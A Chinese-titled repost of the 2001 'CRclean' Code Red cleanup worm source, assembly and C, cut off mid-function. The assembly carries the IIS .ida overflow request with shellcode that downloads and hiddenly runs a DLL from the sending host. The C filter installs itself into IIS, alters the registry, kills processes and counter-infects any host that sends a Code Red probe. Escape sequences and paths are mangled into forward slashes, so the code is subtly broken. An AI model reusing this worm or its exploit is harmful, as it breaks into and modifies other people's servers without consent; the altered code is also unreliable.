打微软补丁的一份代码

;
; CRclean.asm
; by Markus Kern <markus-kern@gmx.net>
; 06.08.2001
;
; downloads CRclean.dll from sender and executes it using rundll32.exe
; then calls ExitProcess() on success or sleeps forever on failure
;

.386p
.model flat
.code
assume fs:nothing

db 'GET /default.ida?---This-is-CRclean---Code-Red-cleanup-worm-'
db '--check-your-wwwroot-for-CRclean.dll---it-contains-zipped-so'
db 'urce---this-worm-does-not-spread-actively---if-you-see-this-'
db 'the-destination-host-is-infected-with-Code-Red--------------'
db '-%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u685'
db '8%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53f'
db 'f%u0078%u0000%u00=a  HTTP/1.0',0Dh,0Ah
db 'Content-type: text/xml',0Ah
db 'Content-length: 0988',0Dh,0Ah,0Dh,0Ah

; execution starts here with slightly modified Code Red v1 code
; finds GetProcAddress and kernel32.dll base

	push  ebp
	mov  ebp, esp
	sub  esp, 218h
	push  ebx
	push  esi
	push  edi
	lea  edi, [ebp-218h]
	mov  ecx, 86h
	mov  eax, 0CCCCCCCCh
	rep  stosd
	mov  [ebp-190h], dword ptr 0
	lea  edi, [ebp-110h]
	mov  eax, dword ptr fs:0
	mov  [edi+8], eax
	mov  dword ptr fs:0, edi
	mov  dword ptr [ebp-110h], 0FFFFFFFFh
	mov  dword ptr [ebp-1A8h],77E00000h

RVA_1:
	cmp  dword ptr [ebp-190h], 0
	jnz  RVA_5
	mov  ecx, [ebp-1A8h]
	add  ecx, 10000h
	mov  [ebp-1A8h], ecx
	cmp  dword ptr [ebp-1A8h],78000000h
	jnz  short RVA_2
	mov  dword ptr [ebp-1A8h],0BFF00000h

RVA_2:
	mov  edx, [ebp-1A8h]
	xor  eax, eax
	mov  ax, [edx]
	cmp  eax, 5A4Dh
	jnz  RVA_1
	mov  ecx, [ebp-1A8h]
	mov  edx, [ecx+3Ch]
	mov  eax, [ebp-1A8h]
	xor  ecx, ecx
	mov  cx, [eax+edx]
	cmp  ecx, 4550h
	jnz  RVA_1
	mov  edx, [ebp-1A8h]
	mov  eax, [edx+3Ch]
	mov  ecx, [ebp-1A8h]
	mov  edx, [ecx+eax+78h]
	add  edx, [ebp-1A8h]
	mov  [ebp-1ACh], edx
	mov  eax, [ebp-1ACh]
	mov  ecx, [eax+0Ch]
	add  ecx, [ebp-1A8h]
	mov  [ebp-1B4h], ecx
	mov  edx, [ebp-1B4h]
	cmp  dword	ptr [edx], 4E52454Bh
	jnz  RVA_1
	mov  eax, [ebp-1B4h]
	cmp  dword	ptr [eax+4], 32334C45h
	jnz  RVA_1
	mov  ecx, [ebp-1A8h]
	mov  [ebp-1CCh], ecx
	mov  edx, [ebp-1ACh]
	mov  eax, [ebp-1A8h]
	add  eax, [edx+20h]
	mov  [ebp-1B4h], eax
	mov  dword ptr [ebp-1B8h], 0
	jmp  short RVA_4

RVA_3:
	mov  ecx, [ebp-1B8h]
	add  ecx, 1
	mov  [ebp-1B8h], ecx
	mov  edx, [ebp-1B4h]
	add  edx, 4
	mov  [ebp-1B4h], edx

RVA_4:
	mov  eax, [ebp-1ACh]
	mov  ecx, [ebp-1B8h]
	cmp  ecx, [eax+18h]
	jge  RVA_1
	mov  edx, [ebp-1B4h]
	mov  eax, [edx]
	mov  ecx, [ebp-1A8h]
	cmp  dword ptr [ecx+eax], 50746547h
	jnz  RVA_3
	mov  edx, [ebp-1B4h]
	mov  eax, [edx]
	mov  ecx, [ebp-1A8h]
	cmp  dword ptr [ecx+eax+4], 41636F72h
	jnz  RVA_3
	mov  edx, [ebp-1B8h]
	add  edx, [ebp-1B8h]
	add  edx, [ebp-1A8h]
	mov  eax, [ebp-1ACh]
	mov  ecx, [eax+24h]
	xor  eax, eax
	mov  ax, [edx+ecx]
	mov  [ebp-1B4h], eax
	mov  ecx, [ebp-1ACh]
	mov  edx, [ecx+10h]
	mov  eax, [ebp-1B4h]
	lea  ecx, [eax+edx-1]
	mov  [ebp-1B4h], ecx
	mov  edx, [ebp-1B4h]
	add  edx, [ebp-1B4h]
	add  edx, [ebp-1B4h]
	add  edx, [ebp-1B4h]
	add  edx, [ebp-1A8h]
	mov  eax, [ebp-1ACh]
	mov  ecx, [eax+1Ch]
	mov  edx, [edx+ecx]
	mov  [ebp-1B4h], edx
	mov  eax, [ebp-1B4h]
	add  eax, [ebp-1A8h]
	mov  [ebp-190h], eax
	jmp  RVA_1

RVA_5:
	lea  edi, [ebp-110h]
	mov  eax, [edi+8]
	mov  dword ptr fs:0, eax

; end of Code Red code

	call  GET_DATA_START

d1			db 'c:/CRclean.dll',0
d2			db 'http://123.123.123.123/CRclean.dll',0		; ip filled in by ISAPI filter
d3			db 'LoadLibraryA',0
d4			db 'urlmon.dll',0
d5			db 'GetFileAttributesA',0
d6			db 'URLDownloadToFileA',0
d7			db 'WinExec',0
d8			db 'rundll32 c:/CRclean.dll,Run',0
d9			db 'Sleep',0
d10			db 'ExitProcess',0

FilePath			equ 0
Url					equ d2-d1
LoadLibStr			equ d3-d1
UrlMonStr			equ d4-d1
GetFileAttrStr		equ d5-d1
URLDownloadStr		equ d6-d1
WinExecStr			equ d7-d1
RundllStr			equ d8-d1
SleepStr			equ d9-d1
ExitProcStr			equ d10-d1

GET_DATA_START:
	pop	esi						; start of our data

	; get address of GetFileAttributesA
	mov  edi, esi
	add  edi, GetFileAttrStr
	push  edi
	push  dword ptr [ebp-1CCh]				; kernel32.dll handle
	call  dword ptr [ebp-190h]				; call GetProcAddress
	or  eax, eax
	jz  SLEEP
	push  eax

	; get address of LoadLibraryA
	mov  edi, esi
	add  edi, LoadLibStr
	push  edi
	push  dword ptr [ebp-1CCh]
	call  dword	ptr [ebp-190h]				; call GetProcAddress
	or  eax, eax
	jz  SLEEP

	; load urlmon.dll
	mov  edi, esi
	add  edi, UrlMonStr
	push  edi
	call  eax								; call LoadLibraryA
	or  eax, eax
	jz  SLEEP

	; get address of URLDownloadToFileA
	mov  edi, esi
	add  edi, URLDownloadStr
	push  edi
	push  eax								; urlmon.dll handle
	call  dword ptr [ebp-190h]				; call GetProcAddress
	or  eax, eax
	jz  SLEEP
	mov  ebx, eax

DL_FILE:
	; check if file is already there
	pop  eax								; get GetFileAttributesA address
	push  eax
	mov  edi, esi
	add  edi, FilePath
	push  edi
	call  eax								; call GetFileAttributesA
	cmp  eax, 0FFFFFFFFh
	jne  SLEEP								; we've been here before, the dll is prolly preparing IIS restart
											; we sleep till we get terminated

	; call URLDownloadToFileA
	push  0
	push  0
	mov  edi, esi
	add  edi, FilePath
	push  edi
	mov  edi, esi
	add  edi, Url
	push  edi
	push  0
	call  ebx								; call URLDownloadToFileA

	; check if file made it to the disk
	pop  eax								; get GetFileAttributesA address
	push  eax
	mov  edi, esi
	add  edi, FilePath
	push  edi
	call  eax								; call GetFileAttributesA
	cmp  eax, 0FFFFFFFFh
	jne  DL_SUCCESS

	; if we just tried c: try d: now
	mov  edi, esi
	add  edi, FilePath
	cmp  byte ptr [edi], 'd'
	je  SLEEP								; neither c: nor d: did work

	; set drive letter to 'd'
	mov  byte ptr [edi], 'd'
	mov  edi, esi
	add  edi, RundllStr+9
	mov  byte ptr [edi], 'd'				; change Runddll string too
	jmp  DL_FILE


DL_SUCCESS:
	; get address of WinExec
	mov  edi, esi
	add  edi, WinExecStr
	push  edi
	push  dword ptr [ebp-1CCh]
	call  dword ptr [ebp-190h]				; call GetProcAddress
	or  eax, eax
	jz  SLEEP

	; call WinExec
	push  0									; SW_HIDE
	mov  edi, esi
	mov  edi, esi
	add  edi, RundllStr
	push  edi
	call  eax
	cmp  eax, 31
	jl  SLEEP

	; get address of ExitProcess
	mov  edi, esi
	add  edi, ExitProcStr
	push  edi
	push  dword ptr [ebp-1CCh]
	call  dword ptr [ebp-190h]				; call GetProcAddress
	or  eax, eax
	jz  SLEEP

	; call ExitProcess
	push  0
	call  eax								; terminate inetinfo.exe, on windows 2000 it will be
											; restarted but we get rid of all running Code Reds

SLEEP:
	; get address of Sleep
	mov  edi, esi
	add  edi, SleepStr
	push  edi
	push  dword ptr [ebp-1CCh]
	call  dword ptr [ebp-190h]				; call GetProcAddress
	or  eax, eax
	jz  FATAL_ERROR							; ok, we tried our best to save cpu cycles

	; call Sleep
	push  0FFFFFFFFh
	call  eax								; sleep forever

FATAL_ERROR:
	jmp  FATAL_ERROR

db		'end of file'

END
/*
*
* "The true object of all human life is play. Earth is a task garden; heaven is a playground." -- G.K. Chesterton, All Things Considered
*
* CRclean.c
* by Markus Kern <markus-kern@gmx.net>
* 06.08.2001
*
* if called by rundll32:
*		downloads and executes Q300972 patch from Microsoft
*		removes _original_ Code Red II backdoors
*		copies dll to wwwroot
*		adds dll to ISAPI filter list
*		restarts IIS
*
* if loaded into IIS:
*		removes itself from system on IIS shutdown if it's november 2001 or later
*		responds to every Code Red exploit attempt by closing the connection and infecting the attacking host
*
* the dll can be removed manually using "rundll32 CRclean.dll,Remove"
*
*/

#define INITGUID
#include <winsock.h>
#include <httpfilt.h>		// ISAPI
#include <iadmw.h>			// metabase

#define OUR_FILE_NAME "CRclean.dll"

#define EXPLOIT_URL_OFFSET 0x1B9
HANDLE hExploitMutex;
unsigned char ExploitCode[] = "<exploit code removed to save bandwidth and prevent script kiddie reuse>";

int IsWin2k = 1;
int NumberOfThreads;		// prevent clients from DoSing us

// urlmon.dll
HINSTANCE hUrlMonDll = NULL;
HRESULT (STDAPICALLTYPE *pURLDownloadToCacheFile)(LPVOID,LPCSTR,LPTSTR,DWORD,DWORD,LPVOID) = NULL;
// psapi.dll
HINSTANCE hPsApiDll = NULL;
BOOL (WINAPI *pEnumProcesses)(DWORD*,DWORD,DWORD*) = NULL;
BOOL (WINAPI *pEnumProcessModules)(HANDLE,HMODULE*,DWORD,LPDWORD) = NULL;
DWORD (WINAPI *pGetModuleFileNameEx)(HANDLE,HMODULE,LPTSTR,DWORD) = NULL;

DWORD WINAPI InfectThread(void* pData);
void RemoveFilter();
int ApplyPatch();
void RemoveCRII();
void RestartIIS();
HANDLE FindProcess(char *ProcessToFind, BOOL OnlyCompareFileName);

// dll entry point, duh
BOOL WINAPI DllEntryPoint(HINSTANCE hInstance, DWORD fdwReason, LPVOID lpvReserved)
{
	return TRUE;
}

// called by IIS on initialization
BOOL _export WINAPI GetFilterVersion(PHTTP_FILTER_VERSION pVer)
{
	pVer->dwFilterVersion = HTTP_FILTER_REVISION;
	lstrcpy(pVer->lpszFilterDesc,"CRclean ISAPI filter");
	pVer->dwFlags = SF_NOTIFY_PREPROC_HEADERS | SF_NOTIFY_ORDER_HIGH;

	NumberOfThreads = 0;

	// mutex to serialize access to exploit code and inet_ntoa() function
	hExploitMutex = CreateMutex(NULL,FALSE,NULL);

	// delete original copy of dll
	DeleteFile("c://"OUR_FILE_NAME);
	DeleteFile("d://"OUR_FILE_NAME);

	return TRUE;
}

// called by IIS on shutdown
BOOL _export WINAPI TerminateFilter(DWORD dwFlags)
{
	SYSTEMTIME st;

	// remove us from system if it's november 2001 or later
	GetSystemTime(&st);
	if(st.wYear > 2001 || st.wMonth >= 11)
		RemoveFilter();

	return TRUE;
}

// called by IIS for every http request
DWORD _export WINAPI HttpFilterProc(PHTTP_FILTER_CONTEXT pfc, DWORD notificationType, LPVOID pvNotification)
{
	char *buf;
	DWORD size,ThreadID;
	int i;

	if(notificationType == SF_NOTIFY_PREPROC_HEADERS) {
		// get url length
		size = 0;
		((PHTTP_FILTER_PREPROC_HEADERS)pvNotification)->GetHeader(pfc,"url",NULL,&size);
		// no problem if that short
		if(size > 200) {
			// alloc buffer, MSDN says this is freeed automatically by IIS
			if((buf = (char*)pfc->AllocMem(pfc,size,0)) != 0) {
				// get url
				if(((PHTTP_FILTER_PREPROC_HEADERS)pvNotification)->GetHeader(pfc,"url",buf,&size)) {
					// -200 because overflow only occurs with more than aprox 240 bytes after '?' delimiter
					for(i=0;i<(size-200)&&buf[i]!='?';i++);
					if(buf[i] == '?' && buf[i-4] == '.' &&
						(buf[i-3] == 'i' || buf[i-3] == 'I') &&
						(buf[i-2] == 'd' || buf[i-2] == 'D') &&
						(buf[i-1] == 'a' || buf[i-1] == 'A'))
					{
						// get client ip and run thread to infect client
						size = 32;
						if(pfc->GetServerVariable(pfc,"REMOTE_ADDR",buf,&size) && NumberOfThreads < 50) {
							NumberOfThreads++;
							CreateThread(0,512,InfectThread,(void*)inet_addr(buf),0,&ThreadID);
						}
						// disconnect client, sizeof(buf) is at least 200
						lstrcpy(buf,"HTTP/1.0 403 Access Forbidden/r/nServer: ");
						size = 64;
						pfc->GetServerVariable(pfc,"SERVER_SOFTWARE",buf+lstrlen(buf),&size);
						lstrcat(buf,"/r/nCRclean: rejected/r/n/r/n");
						size = lstrlen(buf);
						pfc->WriteClient(pfc,buf,&size,0);
						return SF_STATUS_REQ_FINISHED;
					}
				}
			}
		}
		pfc->AddResponseHeaders(pfc,"CRclean: passed/r/n",0);
	}
	return SF_STATUS_REQ_NEXT_NOTIFICATION;
}

// infects ip passed in pData
DWORD WINAPI InfectThread(void* pData)
{
	SOCKET Sock;
	SOCKADDR_IN Addr;
	int AddrSize;
	fd_set wfd;
	struct timeval tv;
	unsigned long nonblock;
	char *buf;

	Addr.sin_family = AF_INET;
	Addr.sin_port = htons(80);
	Addr.sin_addr.s_addr = (unsigned long)pData;
	if((Sock = socket(PF_INET,2,IPPROTO_TCP)) != INVALID_SOCKET) {
		// make socket non-blocking
		nonblock = 1;
		ioctlsocket(Sock,FIONBIO,&nonblock);
		// connect
		connect(Sock,(SOCKADDR*)&Addr,sizeof(Addr));
		if(WSAGetLastError() == WSAEWOULDBLOCK) {
			FD_ZERO(&wfd);
			FD_SET(Sock,&wfd);
			tv.tv_sec = 20;
			tv.tv_usec = 0;
			if(select(0,0,&wfd,0,&tv)) {
				// make socket blocking
				nonblock = 0;
				ioctlsocket(Sock,FIONBIO,&nonblock);
				// get local ip used for connection
				AddrSize = sizeof(Addr);
				if(getsockname(Sock,&Addr,&AddrSize) == 0) {
					WaitForSingleObject(hExploitMutex,INFINITE);
					if((buf = inet_ntoa(Addr.sin_addr)) != 0) {
						wsprintf(ExploitCode+EXPLOIT_URL_OFFSET,"http://%s/%s",buf,OUR_FILE_NAME);
						send(Sock,ExploitCode,sizeof(ExploitCode),0);
					}
					ReleaseMutex(hExploitMutex);
					Sleep(2000);
				}
			}
			closesocket(Sock);
		}
	}
	NumberOfThreads--;
	return 0;
}

// called by exploit code via rundll32.exe
// we're either in "c://"OUR_FILE_NAME or in "d://"OUR_FILE_NAME when this is called
void _export _stdcall Run(HWND hWnd, HINSTANCE hInst, LPSTR lpCmdLine, int nCmdShow)
{
	OSVERSIONINFO osvi;
	HKEY hKey;
	char *WebRootPath = NULL,*buf;
	char ModulePath[MAX_PATH];
	DWORD size;
	int i;

	// determine OS
	osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
	if(GetVersionEx(&osvi) && osvi.dwMajorVersion == 4)
		IsWin2k = 0;

	// load DLLs we need
	if((hUrlMonDll = LoadLibrary("urlmon.dll")) != 0) {
		pURLDownloadToCacheFile = (HRESULT (STDAPICALLTYPE*)(LPVOID,LPCSTR,LPTSTR,DWORD,DWORD,LPVOID))GetProcAddress(hUrlMonDll,"URLDownloadToCacheFileA");
	}
	// we don't have psapi.dll on NT thus FindProcess() won't work
	if((hPsApiDll = LoadLibrary("psapi.dll")) != 0) {
		pEnumProcesses = (BOOL (WINAPI *)(DWORD*,DWORD,DWORD*))GetProcAddress(hPsApiDll,"EnumProcesses");
		pEnumProcessModules = (BOOL (WINAPI *)(HANDLE,HMODULE*,DWORD,LPDWORD))GetProcAddress(hPsApiDll,"EnumProcessModules");
		pGetModuleFileNameEx = (DWORD (WINAPI *)(HANDLE,HMODULE,LPTSTR,DWORD))GetProcAddress(hPsApiDll,"GetModuleFileNameExA");
	}

	// patch system, in case this doesn't work our ISAPI filter will reject further Code Red exploit code (including our own)
	ApplyPatch();
	// remove backdoors created by Code Red II, won't hurt if we do this on NT too
	RemoveCRII();

	// get web root
	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters//Virtual Roots",0,KEY_QUERY_VALUE,&hKey) == 0) {
		if(RegQueryValueEx(hKey,"/",0,NULL,NULL,&size) == 0) {
			if((WebRootPath = (char*)LocalAlloc(0,size+lstrlen(OUR_FILE_NAME)+16)) != 0) {
				if(RegQueryValueEx(hKey,"/",0,NULL,WebRootPath,&size) == 0) {
					for(i=0;i<size&&WebRootPath[i]!=',';i++);
					lstrcpy(WebRootPath+i,"//"OUR_FILE_NAME);
				}
			}
		}
		RegCloseKey(hKey);
	}
	// prepare for spreading if we've found the web root
	if(WebRootPath) {
		// copy us to webroot for distribution
		lstrcpy(ModulePath,"c://");
		lstrcat(ModulePath,OUR_FILE_NAME);
		if(!CopyFile(ModulePath,WebRootPath,TRUE)) {
			ModulePath[0] = 'e';
			if(!CopyFile(ModulePath,WebRootPath,TRUE))
				ModulePath[0] = 0;
		}
		if(ModulePath[0] != 0) {
			// add us to ISAPI filter list if copy was successful
			if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters",0,KEY_ALL_ACCESS,&hKey) == 0) {
				if(RegQueryValueEx(hKey,"Filter DLLs",0,NULL,NULL,&size) == 0) {
					if((buf = (char*)LocalAlloc(0,size+lstrlen(WebRootPath)+16)) != 0) {
						if(RegQueryValueEx(hKey,"Filter DLLs",0,NULL,buf,&size) == 0) {
							if(size <= 2) {
								lstrcpy(buf,WebRootPath);
							} else if(buf[size-2] == ',') {
								lstrcat(buf,WebRootPath);
							} else {
								lstrcat(buf,",");
								lstrcat(buf,WebRootPath);
							}
							RegSetValueEx(hKey,"Filter DLLs",0,REG_SZ,buf,lstrlen(buf)+1);
						}
						LocalFree(buf);
					}
				} else {
					// RegQueryValueEx() failed, the value probably doesn't exist, we create it
					RegSetValueEx(hKey,"Filter DLLs",0,REG_SZ,WebRootPath,lstrlen(WebRootPath)+1);
				}
				RegCloseKey(hKey);
			}
		}
		LocalFree(WebRootPath);
	}

	// restart IIS to get rid of our own and any Code Red code still running in IIS's address space
	// IIS will load our ISAPI filter on restart
	RestartIIS();
	// unload DLLs before we leave
	if(hUrlMonDll)
		FreeLibrary(hUrlMonDll);
	if(hPsApiDll)
		FreeLibrary(hPsApiDll);
	return;
}

// what can I say? it's here because it wasn't much effort
void _export _stdcall Remove(HWND hWnd, HINSTANCE hInst, LPSTR lpCmdLine, int nCmdShow)
{
	RemoveFilter();
	if(MessageBox(0,"CRclean removed on request. You must restart IIS for the changes to take effect./r/n"
					"Reinstalling the entire system is strongly recommended!/r/n"
					"Do you want to restart IIS now?","Code Red cleanup worm",MB_YESNO|MB_SYSTEMMODAL) == IDYES)
	{
		RestartIIS();
	}
	return;
}

// removes us from ISAPI filter list
void RemoveFilter()
{
	HKEY hKey;
	char *WebRootPath = NULL,*buf,*p,*s;
	DWORD size;
	int i;

	// get web root
	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters//Virtual Roots",0,KEY_QUERY_VALUE,&hKey) == 0) {
		if(RegQueryValueEx(hKey,"/",0,NULL,NULL,&size) == 0) {
			if((WebRootPath = (char*)LocalAlloc(0,size+lstrlen(OUR_FILE_NAME)+16)) != 0) {
				if(RegQueryValueEx(hKey,"/",0,NULL,WebRootPath,&size) == 0) {
					for(i=0;i<size&&WebRootPath[i]!=',';i++);
					lstrcpy(WebRootPath+i,"//"OUR_FILE_NAME);
				}
			}
		}
		RegCloseKey(hKey);
	}
	if(WebRootPath) {
		// remove us from IIS's ISAPI filter list
		if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters",0,KEY_ALL_ACCESS,&hKey) == 0) {
			if(RegQueryValueEx(hKey,"Filter DLLs",0,NULL,NULL,&size) == 0) {
				if(size >= lstrlen(WebRootPath)) {	// can't be our string if shorter than WebRootPath
					if((buf = (char*)LocalAlloc(0,size+16)) != 0) {
						if(RegQueryValueEx(hKey,"Filter DLLs",0,NULL,buf,&size) == 0) {
							// do a case insesitive compare
							CharLower(WebRootPath);
							CharLower(buf);
							// search for WebRootPath
							for(i=0;i<=size-lstrlen(WebRootPath);i++) {
								for(p=buf+i,s=WebRootPath;*s!=0&&*p!=0&&*p==*s;s++,p++);
								if(*s == 0) {	// match
									if(lstrlen(buf) == lstrlen(WebRootPath))
										buf[0] = 0;
									else if(i == 0)
										lstrcpy(buf,p+1);	// +1 for comma after WebRootPath
									else
										lstrcpy(buf+i-1,p); // -1 for comma before WebRootPath
									break;
								}
							}
							RegSetValueEx(hKey,"Filter DLLs",0,REG_SZ,buf,lstrlen(buf)+1);
						}
						LocalFree(buf);
					}
				}
			}
			RegCloseKey(hKey);
		}
		// delete this file on next reboot
		MoveFileEx(WebRootPath,NULL,MOVEFILE_DELAY_UNTIL_REBOOT);
		LocalFree(WebRootPath);
	}
	return;
}

// downloads Q300972 from microsoft and runs it
int ApplyPatch()
{
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	HANDLE hProc;
	LANGID LangID;
	char Url[256],Path[MAX_PATH];
	int i;

	LANGID NtLangID[13] = { LANG_CHINESE,LANG_CHINESE,LANG_ARABIC,LANG_DUTCH,LANG_FRENCH,LANG_GERMAN,LANG_HEBREW,
							LANG_JAPANESE,LANG_KOREAN,LANG_PORTUGUESE,LANG_SPANISH,LANG_SWEDISH,LANG_THAI };

	char NtLangStr[13][10] = { "CN/CHS","TW/CHT","AR/ARA","NL/NLD","FR/FRA","DE/DEU","HE/HEB",
								"JA/JPN","KO/KOR","PT-BR/ptb","ES/ESP","SV/SVE","TH/THA" };

	LANGID W2kLangID[22] = { LANG_CHINESE,LANG_CHINESE,LANG_ARABIC,LANG_CZECH,LANG_DANISH,LANG_DUTCH,LANG_FINNISH,
							LANG_FRENCH,LANG_GERMAN,LANG_GREEK,LANG_HEBREW,LANG_HUNGARIAN,LANG_ITALIAN,
							LANG_JAPANESE,LANG_KOREAN,LANG_NORWEGIAN,LANG_POLISH,LANG_PORTUGUESE,LANG_RUSSIAN,
							LANG_SPANISH,LANG_SWEDISH,LANG_TURKISH };

	char W2kLangStr[22][3] = { "cn","tw","ar","cs","da","nl","fi","fr","de","el","he","hu","it","ja","ko","no",
								"pl","pt","ru","es","sv","tr" };

	// prepare download url
	LangID = GetSystemDefaultLangID();
	lstrcpy(Url,"http://download.microsoft.com/download/");
	// win 2k
	if(IsWin2k) {
		lstrcat(Url,"win2000platform/patch/q300972/nt5/");
		for(i=0;i<22&&PRIMARYLANGID(LangID)!=W2kLangID[i];i++);
		if(i == 0 && SUBLANGID(LangID) == SUBLANG_CHINESE_TRADITIONAL)
			i++;
		if(i < 22)
			wsprintf(Url+lstrlen(Url),"%s/Q300972_W2k_SP3_x86_%s.exe",W2kLangStr[i],W2kLangStr[i]);
		else	// use US as default
			lstrcat(Url,"en-us/Q300972_W2K_SP3_x86_en.exe");
	// win nt
	} else {
		lstrcat(Url,"winntsp/patch/q300972/nt4/");
		for(i=0;i<13&&PRIMARYLANGID(LangID)!=NtLangID[i];i++);
		if(i == 0 && SUBLANGID(LangID) == SUBLANG_CHINESE_TRADITIONAL)
			i++;
		if(i < 13)
			lstrcat(Url,NtLangStr[i]);
		else	// use US as default
			lstrcat(Url,"en-us/");
		lstrcat(Url,"Q300972i.exe");
	}

	// download and execute patch
	if(pURLDownloadToCacheFile) {
		if(pURLDownloadToCacheFile(NULL,Url,Path,MAX_PATH,0,NULL) == 0) {
			for(i=0;i<sizeof(si);i++)
				((unsigned char*)&si)[i] = 0;
			si.cb = sizeof(si);
			// run patch
			if(CreateProcess(Path,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi)) {
				if(IsWin2k) {
					// wait 3 mins for hotfix to install
					Sleep(3*60*1000);
					// patch either displays message box informing about successfull install or an error message
					// user can't see this message box, we kill hotfix.exe in either case
					// the process we created above cleans up all the temp files when hotfix.exe terminates
					if((hProc = FindProcess("hotfix.exe",TRUE)) != 0) {
						TerminateProcess(hProc,0);
						CloseHandle(hProc);
						// wait till we can delete downloaded file
						WaitForSingleObject(pi.hProcess,3*60*1000);
						DeleteFile(Path);
					}
				} else {
					// on NT we just let the hotfix run, luser will click OK eventually
					// restarting IIS is enough to activate the new idq.dll, no need to reboot
				}
				CloseHandle(pi.hProcess);
				return 0;
			}
		}
	}
	return 1;
}

// removes Code Red II backdoors
void RemoveCRII()
{
	DWORD size;
	HANDLE hProc;
	HKEY hKey;
	IMSAdminBaseW *Meta;
	METADATA_HANDLE hMetaKey;
	char Path[MAX_PATH];

	// search and destroy trojan explorer.exe
	if((hProc = FindProcess("c://explorer.exe",FALSE)) != 0) {
		TerminateProcess(hProc,0);
		WaitForSingleObject(hProc,10*1000);
		CloseHandle(hProc);
	}
	if((hProc = FindProcess("d://explorer.exe",FALSE)) != 0) {
		TerminateProcess(hProc,0);
		WaitForSingleObject(hProc,10*1000);
		CloseHandle(hProc);
	}

	// delete explorer trojan, need to remove readonly attribute for DeleteFile() to work
	SetFileAttributes("c://explorer.exe",FILE_ATTRIBUTE_NORMAL);
	DeleteFile("c://explorer.exe");
	SetFileAttributes("d://explorer.exe",FILE_ATTRIBUTE_NORMAL);
	DeleteFile("d://explorer.exe");

	// remove cmd.exe backdoors
	DeleteFile("c://inetpub//scripts//root.exe");
	DeleteFile("d://inetpub//scripts//root.exe");
	DeleteFile("c://progra~1//common~1//system//msadc//root.exe");
	DeleteFile("d://progra~1//common~1//system//msadc//root.exe");

	// reenable file protection
	// we probably need to reboot to activate the change, user will do this for us on next OS crash
	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software//Microsoft//Windows NT//CurrentVersion//Winlogon",0,KEY_SET_VALUE,&hKey) == 0) {
		size = 0;
		RegSetValueEx(hKey,"SFCDisable",0,REG_DWORD,(BYTE*)&size,sizeof(DWORD));
		RegCloseKey(hKey);
	}

	// clean up registry
	// turns out IIS copies new values under "Virtual Roots" into an internal thing called metabase
	// and restores changes of already present registry values from this metabase on restart
	// means we must delete /C and /D from the metabase
	// the /scripts and /msadc changes apparently never made it there and the corresponding registry values
	// have probably been restored by IIS after CRII's reboot
	// there're days I'm very glad I don't have to think the way Microsoft engineers do
	CoInitialize(NULL);
	if(CoCreateInstance(&CLSID_MSAdminBase,NULL,CLSCTX_ALL,&IID_IMSAdminBase,(void**)&Meta) == 0) {
		MultiByteToWideChar(CP_ACP,0,"/lm/w3svc/1/root",-1,Path,MAX_PATH/2);
		if(Meta->lpVtbl->OpenKey(Meta,METADATA_MASTER_ROOT_HANDLE,Path,METADATA_PERMISSION_WRITE,10000,&hMetaKey) == 0) {
			Meta->lpVtbl->DeleteKey(Meta,hMetaKey,"C/x00/x00");	// unicode
			Meta->lpVtbl->DeleteKey(Meta,hMetaKey,"D/x00/x00");
			Meta->lpVtbl->CloseKey(Meta,hMetaKey);
		}
		Meta->lpVtbl->Release(Meta);
	}
	CoUninitialize();

	// must do this to prevent IIS from copying it back into metabase on restart
	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters//Virtual Roots",0,KEY_QUERY_VALUE | KEY_SET_VALUE,&hKey) == 0) {
		RegDeleteValue(hKey,"/C");
		RegDeleteValue(hKey,"/D");
		RegCloseKey(hKey);
	}
	return;
}

// restarts IIS
void RestartIIS()
{
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	SC_HANDLE hManager,hSvc;
	SERVICE_STATUS SvcStat;
	int i;

	if(IsWin2k) {
		// neither "net stop w3svc" nor ControlService(SERVICE_CONTROL_STOP) seem to work on infected machines
		for(i=0;i<sizeof(si);i++)
			((unsigned char*)&si)[i] = 0;
		si.cb = sizeof(si);
		si.wShowWindow = SW_HIDE;	// don't scare the clueless
		si.dwFlags = STARTF_USESHOWWINDOW;
		CreateProcess(NULL,"iisreset /RESTART /TIMEOUT:30",NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
	} else {
		// we don't have iisreset.exe on NT
		if((hManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS))) {
			if((hSvc = OpenService(hManager,"w3svc",SERVICE_STOP|SERVICE_START|SERVICE_QUERY_STATUS))) {
				// stop iis
				ControlService(hSvc,SERVICE_CONTROL_STOP,&SvcStat);
				// wait till shutdown completed
				ControlService(hSvc,SERVICE_CONTROL_INTERROGATE,&SvcStat);
				for(i=0;i<60&&SvcStat.dwCurrentState!=SERVICE_STOPPED;i++) {
					Sleep(1000);
					QueryServiceStatus(hSvc,&SvcStat);
				}
				// and restart it
				StartService(hSvc,0,NULL);
				CloseServiceHandle(hSvc);
			}
			CloseServiceHandle(hManager);
		}
	}
	return;
}

// searches process list for ProcessToFind
// caller is responsible for closing returned handle
HANDLE FindProcess(char *ProcessToFind, BOOL OnlyCompareFileName)
{
	DWORD ProcList[1024],size,msize;
	HANDLE hProc;
	HMODULE hMod;
	char Path[MAX_PATH];
	int i;

	// search for process
	if(pEnumProcesses && pEnumProcessModules && pGetModuleFileNameEx) {
		if(pEnumProcesses(ProcList,1024*sizeof(DWORD),&size))
			for(i=0;i<size/sizeof(DWORD);i++)
				if((hProc = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE,FALSE,ProcList[i])) != 0) {
					if(pEnumProcessModules(hProc,&hMod,sizeof(HMODULE),&msize))
						if(pGetModuleFileNameEx(hProc,hMod,Path,MAX_PATH))
							if(OnlyCompareFileName) {
